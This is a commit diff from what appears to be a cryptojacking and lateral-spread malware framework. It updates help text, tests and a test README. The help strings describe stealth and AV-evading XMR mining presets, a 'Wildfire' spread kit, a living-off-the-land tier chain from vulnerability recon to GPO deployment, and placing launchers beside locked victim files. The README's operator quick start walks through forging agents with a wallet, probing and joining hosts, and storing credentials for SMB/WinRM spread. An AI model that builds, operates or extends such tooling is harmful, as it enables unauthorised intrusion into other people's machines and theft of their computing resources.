Sync docs and test inventory after LOTL release
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -1,6 +1,6 @@
|
|||||||
# PROBLEMS.md
|
# PROBLEMS.md
|
||||||
|
|
||||||
Open issues only. Fixed items removed. Last sweep: 2026-06-06.
|
Open issues only. Fixed items removed. Last sweep: 2026-06-07.
|
||||||
|
|
||||||
## By design / safety
|
## By design / safety
|
||||||
|
|
||||||
@@ -103,6 +103,7 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
|
|||||||
|
|
||||||
| Item | Notes |
|
| Item | Notes |
|
||||||
|------|-------|
|
|------|-------|
|
||||||
|
| LOTL / triple-onion / fleet recon | Go + Vitest coverage in `tests/README.md` (P0/P1 + `-ReconOnly`); live spread lanes and E2E recon flow still stub/mock-only. |
|
||||||
| Agent pathtracer Go tests | Windows impl + stub have limited coverage (`pathtracer_stub_test.go` started). |
|
| Agent pathtracer Go tests | Windows impl + stub have limited coverage (`pathtracer_stub_test.go` started). |
|
||||||
| Client WS/beacon paths | Integration-heavy; Docker Tier 2 covers Linux slice only. |
|
| Client WS/beacon paths | Integration-heavy; Docker Tier 2 covers Linux slice only. |
|
||||||
| Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. |
|
| Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. |
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ export const FIELD_HELP: Record<string, string> = {
|
|||||||
forge_operation_mode:
|
forge_operation_mode:
|
||||||
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||||
forge_lotl_onion:
|
forge_lotl_onion:
|
||||||
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
||||||
forge_path_forge:
|
forge_path_forge:
|
||||||
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
||||||
forge_recommended_defaults:
|
forge_recommended_defaults:
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
import { describe, it, expect } from 'vitest';
|
import { describe, it, expect } from 'vitest';
|
||||||
import {
|
import {
|
||||||
|
DEFAULT_LOTL_ONION_TIERS,
|
||||||
EMBERWAKE_TECHNIQUE_LINKS,
|
EMBERWAKE_TECHNIQUE_LINKS,
|
||||||
|
LOTL_ONION_TIER_DOCS,
|
||||||
SPREAD_TECHNIQUES_DOC,
|
SPREAD_TECHNIQUES_DOC,
|
||||||
spreadTechniqueDocUrl,
|
spreadTechniqueDocUrl,
|
||||||
} from './spreadTechniques';
|
} from './spreadTechniques';
|
||||||
@@ -21,4 +23,11 @@ describe('spreadTechniques', () => {
|
|||||||
expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
|
expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
|
||||||
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('re-exports ten LOTL onion tiers in canonical order', () => {
|
||||||
|
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
|
||||||
|
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
|
||||||
|
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
|
||||||
|
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,5 +1,13 @@
|
|||||||
/** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */
|
/** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */
|
||||||
|
|
||||||
|
export {
|
||||||
|
DEFAULT_LOTL_ONION_TIERS,
|
||||||
|
LOTL_ONION_TIER_DOCS,
|
||||||
|
lotlTierDocUrl,
|
||||||
|
type LotlOnionTierDoc,
|
||||||
|
type LotlOnionTierId,
|
||||||
|
} from './lotlOnionTiers';
|
||||||
|
|
||||||
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html';
|
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html';
|
||||||
|
|
||||||
export interface EmberwakeTechniqueLink {
|
export interface EmberwakeTechniqueLink {
|
||||||
@@ -16,7 +24,7 @@ export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
|||||||
{
|
{
|
||||||
label: 'LOTL Onion tiers',
|
label: 'LOTL Onion tiers',
|
||||||
anchor: 'lotl-onion',
|
anchor: 'lotl-onion',
|
||||||
hint: 'Ordered docker→GPO contingencies — LOTL Onion forge preset',
|
hint: 'Ordered vuln recon→GPO contingencies — LOTL Onion forge preset',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
label: 'Web waterhole',
|
label: 'Web waterhole',
|
||||||
|
|||||||
@@ -32,6 +32,22 @@ Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-Ski
|
|||||||
|
|
||||||
`-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings.
|
`-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings.
|
||||||
|
|
||||||
|
## Operator quick start (LOTL + fleet recon)
|
||||||
|
|
||||||
|
1. **Forge with LOTL Onion** — Forge → Operation mode → **LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth — **re-forge only when changing wallet, build, or preset flags**, not to reorder tiers.
|
||||||
|
2. **Probe & Join** — Crucible → select online node(s) → **Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick.
|
||||||
|
3. **Deployment credentials vault** — For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`:
|
||||||
|
|
||||||
|
```json
|
||||||
|
"deployment_credentials": [
|
||||||
|
{ "label": "Lab ops", "username": "corp\\\\ops", "vault_ref": "deployment-creds/lab.vault" }
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
Store the password in `data/deployment-creds/<id>.vault` as plain text or `{"password":"..."}` (0600). Never commit vault files. Affinity ordering is covered by `TestOrderDeploymentCredProfiles_Affinity` and `TestLoadDeploymentCredPasswordFromVault`.
|
||||||
|
|
||||||
|
See `/docs/SPREAD_TECHNIQUES.html#lotl-onion` for the ten-tier chain and `scripts/test-suite.ps1 -ReconOnly` after landing agents.
|
||||||
|
|
||||||
## Run individual suites
|
## Run individual suites
|
||||||
|
|
||||||
```bat
|
```bat
|
||||||
@@ -43,14 +59,16 @@ cd server\web && npm run test:e2e
|
|||||||
|
|
||||||
### Fleet recon quick-run (P0 subset)
|
### Fleet recon quick-run (P0 subset)
|
||||||
|
|
||||||
|
Matches `scripts/test-suite.ps1 -ReconOnly`:
|
||||||
|
|
||||||
```bat
|
```bat
|
||||||
cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService" -count=1
|
cd server && go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan" -count=1
|
||||||
cd server && go test ./internal/db/... -run CredEdge -count=1
|
cd server && go test ./internal/db/... -run CredEdge -count=1
|
||||||
cd server && go test . -run OrderDeploymentCred -count=1
|
cd server && go test . -run "OrderDeploymentCred|LoadDeploymentCred" -count=1
|
||||||
cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe" -count=1
|
cd agent && go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe|Risk" -count=1
|
||||||
cd agent && go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread" -count=1
|
cd agent && go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread|Discover" -count=1
|
||||||
cd agent && go test ./client/... -run "Vuln|SpreadCred|ChainOrder" -count=1
|
cd agent && go test ./client/... -run "Vuln|SpreadCred|ChainOrder" -count=1
|
||||||
cd server\web && npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx
|
cd server\web && npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx src/components/Fleet/CrucibleExpandedOps.test.tsx
|
||||||
```
|
```
|
||||||
|
|
||||||
## E2E only (server already running)
|
## E2E only (server already running)
|
||||||
@@ -88,7 +106,7 @@ All Go packages under `server/` and `agent/` are picked up automatically by `go
|
|||||||
|------|-------------------|------|-------|
|
|------|-------------------|------|-------|
|
||||||
| `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 |
|
| `TestIntegrationRouterCommandFullRoundTrip` | API `POST /command` → agent WS → `command_result` → dashboard WS | `server/internal/api/integration_test.go` | 1 |
|
||||||
| `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
|
| `TestAllowAgentWSUpgradeRateLimit` | 31st `/ws/agent` upgrade from same IP within 1 min rejected; empty IP allowed | `server/internal/api/agent_ws_limiter_test.go` | 1 |
|
||||||
| Crucible exec E2E | Online stub agent; **whoami** and terminal **echo** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
|
| Crucible exec E2E | Online stub agent; **whoami**, terminal **echo**, and **LOTL tier badge** on `/crucible` | `server/web/e2e/crucible-command.spec.ts` | 8 |
|
||||||
| `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 |
|
| `TestPathForgeRootPathOutsideAllowedRoots` | PathForge `root_path` outside allowlist → HTTP 400, `Placed=0` | `server/internal/builder/pathforge_test.go` | 1 |
|
||||||
| `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 |
|
| `TestUploadCommandRejectsPathTraversal` | Agent `upload` blocks `../../` via `ResolveRemotePath` | `agent/client/client_upload_test.go` | 2 |
|
||||||
|
|
||||||
@@ -116,7 +134,16 @@ set AETHERFORGE_URL=http://127.0.0.1:8989
|
|||||||
cd server\web && npx playwright test e2e/crucible-command.spec.ts
|
cd server\web && npx playwright test e2e/crucible-command.spec.ts
|
||||||
```
|
```
|
||||||
|
|
||||||
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (AgentsPage prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version.
|
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
|
||||||
|
|
||||||
|
Run remote-actions only (no stub agent; mocks offline fleet via WS):
|
||||||
|
|
||||||
|
```bat
|
||||||
|
set AETHERFORGE_E2E_USER=testuser
|
||||||
|
set AETHERFORGE_E2E_PASS=testpass
|
||||||
|
set AETHERFORGE_URL=http://127.0.0.1:8989
|
||||||
|
cd server\web && npx playwright test e2e/remote-actions.spec.ts
|
||||||
|
```
|
||||||
|
|
||||||
## Coverage map (recent features)
|
## Coverage map (recent features)
|
||||||
|
|
||||||
@@ -125,7 +152,7 @@ cd server\web && npx playwright test e2e/crucible-command.spec.ts
|
|||||||
| P0 command round-trip (integration) | `server/internal/api/integration_test.go` | 1 |
|
| P0 command round-trip (integration) | `server/internal/api/integration_test.go` | 1 |
|
||||||
| P0 agent WS rate limit | `server/internal/api/agent_ws_limiter_test.go` | 1 |
|
| P0 agent WS rate limit | `server/internal/api/agent_ws_limiter_test.go` | 1 |
|
||||||
| P0 PathForge root rejection | `server/internal/builder/pathforge_test.go` | 1 |
|
| P0 PathForge root rejection | `server/internal/builder/pathforge_test.go` | 1 |
|
||||||
| P0 Crucible exec E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
|
| P0 Crucible exec + LOTL badge E2E | `server/web/e2e/crucible-command.spec.ts` | 8 |
|
||||||
| P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 |
|
| P0 upload path traversal (P1 download) | `agent/client/client_upload_test.go` | 2 |
|
||||||
| Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 |
|
| Cascading fallback chain | `agent/miner/fallback_chain_test.go` | 2 |
|
||||||
| Container mining / execution mode | `agent/miner/execution_test.go` | 2 |
|
| Container mining / execution mode | `agent/miner/execution_test.go` | 2 |
|
||||||
@@ -157,13 +184,20 @@ cd server\web && npx playwright test e2e/crucible-command.spec.ts
|
|||||||
| `vuln_findings` + CVE correlate | `agent/vulnprobe/scan_test.go`, `agent/client/vuln_scan_test.go`, `agent/client/cve_scan_test.go` | 2 |
|
| `vuln_findings` + CVE correlate | `agent/vulnprobe/scan_test.go`, `agent/client/vuln_scan_test.go`, `agent/client/cve_scan_test.go` | 2 |
|
||||||
| `cred_edges` + affinity spread | `server/internal/db/cred_edges_test.go`, `server/deployment_creds_test.go`, `server/internal/api/spread_cred_test.go`, `agent/client/spread_cred_test.go` | 1 / 2 |
|
| `cred_edges` + affinity spread | `server/internal/db/cred_edges_test.go`, `server/deployment_creds_test.go`, `server/internal/api/spread_cred_test.go`, `agent/client/spread_cred_test.go` | 1 / 2 |
|
||||||
| `service_graph` + join_lane mapping | `agent/deploy/service_discovery_test.go`, `server/internal/api/pathtracer_discover_test.go` | 1 / 2 |
|
| `service_graph` + join_lane mapping | `agent/deploy/service_discovery_test.go`, `server/internal/api/pathtracer_discover_test.go` | 1 / 2 |
|
||||||
| `discover_and_join` deploy plan | `server/internal/api/pathtracer_discover_test.go`, `agent/deploy/service_discovery_test.go` | 1 / 2 |
|
| `discover_and_join` deploy plan | `server/internal/api/pathtracer_discover_test.go`, `agent/deploy/discover_join_test.go`, `service_deploy_test.go` | 1 / 2 |
|
||||||
| Triple onion gates (`patch_first`, `skip_mining_on_high_risk`) | `agent/miner/triple_onion_test.go`, `server/internal/api/server_policy_test.go` | 1 / 2 |
|
| Triple onion gates (`patch_first`, `skip_mining_on_high_risk`) | `agent/miner/triple_onion_test.go` (`TestEvaluateTripleOnionGates*`, `TestTripleOnionOrchestrator*`), `server/internal/api/server_policy_test.go` | 1 / 2 |
|
||||||
|
| Deployment cred vault + affinity | `server/deployment_creds_test.go` (`TestOrderDeploymentCredProfiles_Affinity`, `TestLoadDeploymentCredPasswordFromVault`) | 1 |
|
||||||
|
| CVE / KEV client correlate | `agent/client/cve_scan_test.go`, `agent/client/vuln_scan_test.go` | 2 |
|
||||||
|
| Vuln catalog API | `server/internal/api/vuln_handler_test.go`, `server/internal/vuln/correlator_test.go` | 1 |
|
||||||
| `network_hints` (ARP, DNS SRV, cert) | `agent/deploy/network_hints_test.go` | 2 |
|
| `network_hints` (ARP, DNS SRV, cert) | `agent/deploy/network_hints_test.go` | 2 |
|
||||||
| Path Tracer API extensions (discover, spread, service merge) | `server/internal/api/pathtracer_handler_test.go`, `pathtracer_discover_test.go` | 1 |
|
| Path Tracer API extensions (discover, spread, service merge) | `server/internal/api/pathtracer_handler_test.go`, `pathtracer_discover_test.go` | 1 |
|
||||||
| Risk badge + `reconRisk` helpers | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
|
| Risk badge + `reconRisk` helpers | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
|
||||||
| Credential graph table (Spread tab) | `ReconBadges.test.tsx` (`CredentialGraphTable`) | 4 |
|
| Credential graph table (Spread tab) | `ReconBadges.test.tsx` (`CredentialGraphTable`) | 4 |
|
||||||
| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` | 4 |
|
| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` (`Probe & Join` button → `discover_and_join`) | 4 |
|
||||||
|
| Crucible bulk pause/resume E2E | `server/web/e2e/crucible-bulk.spec.ts` | 8 |
|
||||||
|
| Fleet bulk actions hook | `server/web/src/hooks/useFleetBulkActions.test.ts` | 4 |
|
||||||
|
| War Room LOTL/join-lane telemetry | `server/web/src/help/warRoomTelemetry.test.ts` | 4 |
|
||||||
|
| Spread template export panel | `server/web/src/help/spreadTemplateExport.test.ts`, `SpreadTemplateExportPanel.tsx` | 4 |
|
||||||
| Service graph summary UI | `CrucibleExpandedOps.test.tsx` (mocked `ServiceGraphSummary`) | 4 |
|
| Service graph summary UI | `CrucibleExpandedOps.test.tsx` (mocked `ServiceGraphSummary`) | 4 |
|
||||||
| `vuln_findings` / `join_lane` WS stats merge | `applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
|
| `vuln_findings` / `join_lane` WS stats merge | `applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
|
||||||
| Emberwake `join_lane` funnel tag | `ReconBadges.test.tsx` (`JoinLaneBadge`), `WarRoomFunnelBoard.tsx` | 4 |
|
| Emberwake `join_lane` funnel tag | `ReconBadges.test.tsx` (`JoinLaneBadge`), `WarRoomFunnelBoard.tsx` | 4 |
|
||||||
@@ -211,7 +245,8 @@ cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/component
|
|||||||
- **Full agent `MiningChainRunner.Start` lifecycle** — needs live pool + optional GPU binary; hook order covered via `ChainController` tests.
|
- **Full agent `MiningChainRunner.Start` lifecycle** — needs live pool + optional GPU binary; hook order covered via `ChainController` tests.
|
||||||
- **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; tier stubs and normalization covered in deploy tests.
|
- **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; tier stubs and normalization covered in deploy tests.
|
||||||
- **Real BITS/curl/certutil download** — network + OS tooling; staging path/hash logic covered in `staging_test.go`.
|
- **Real BITS/curl/certutil download** — network + OS tooling; staging path/hash logic covered in `staging_test.go`.
|
||||||
- **E2E Crucible lotl_tier badge** — optional; stub agent would need tier fields in WS auth payload (Playwright `crucible-bulk.spec.ts` covers bulk pause only).
|
- **E2E Crucible lotl_tier badge** — covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server — phase 8 or `AETHERFORGE_URL`).
|
||||||
|
- **Playwright fleet recon flow** — Probe & Join and risk badges covered in Vitest; no full discover→spread E2E yet.
|
||||||
|
|
||||||
### Agent logs (not a missing API)
|
### Agent logs (not a missing API)
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user